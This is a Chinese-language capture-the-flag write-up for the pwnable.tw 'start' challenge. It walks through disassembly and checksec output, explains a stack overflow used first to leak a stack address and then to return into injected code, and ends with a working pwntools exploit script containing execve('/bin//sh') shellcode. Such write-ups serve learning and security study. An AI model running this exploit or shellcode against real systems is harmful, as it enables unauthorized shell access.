linux_pwn0x02_overflow

没有源程序,ida查看,发现整个程序非常精简,完全使用int 80h的系统中断实现命令。

char start()
{
  char result; // al

  result = 3;
  __asm
  {
    int     80h; //LINUX - sys_write
    int     80h; //LINUX -
  }
  return result;
}

汇编部分:

.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

程序共使用了两次系统中断,功能分别为sys_write和sys_read
功能就是提示输入后,读入一个字符串到stack

漏洞是一个非常基础的bof漏洞
首先使用checksec对程序进行检查:

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

可以看到程序几乎没有防护措施,那么就可以利用最舒服的shellcode攻击了,将shellcode读入到程序,并令pc指针指向栈中对应的位置,执行以getshell。

这个攻击需要考虑的核心问题是,如何确定返回的地址?
我们要返回的目标是stack,而stack的栈帧由esp和ebp保存

仔细查看程序的汇编代码,发现在程序开始执行时,就有push esp的操作,也就是说程序的栈的地址已经存放在了栈中
这里我们记这个存入的esp值为old_esp

那么我们就可以利用sys_write来leak栈的地址,从而确定我们的返回地址了。

sys_write调用,是输出以ecx为指针指向的字符串。

本程序中,直接采用了

mov ecx,esp

的方式来将目标字符串地址传递给ecx。

而且巧合的是,当我们的函数ret之后,esp指向的内存正好就是 我们之前提到的old_esp值,那么如果我们直接返回到mov ecx,esp处,此时ecx的值,就会是“指向old_esp的指针”了,那么继续运行 调用int 80h时就会输出old_esp的值了

而通过对堆栈的观察,是可以发现堆栈架构中不同部分的绝对地址虽然会变,但是不同部分之间的偏移却是固定的,那么只要我们在gdb中跑一次程序,确定以下old_esp值与我们的shellcode的地址的偏移距离,我们就可以让程序正确的返回到我们需要的shellcode上了!

综上,我们将利用这个溢出漏洞两次,第一次用于leak出old_esp的地址,第二次就是使pc返回到shellcode,从而getshell

以下使python实现:

from pwn import *
import time
#io=process('./start')
#gdb.attach(io,"b*_start+55")
io=remote("chall.pwnable.tw",10000)
io.recvuntil(':')
io.send('a'*20+p32(0x08048087))
time.sleep(3)
addr=u32(io.recv(4))+0x14
shellcode='\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
io.sendline('a'*20+p32(addr)+shellcode)
#io.sendline(cyclic(100))
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值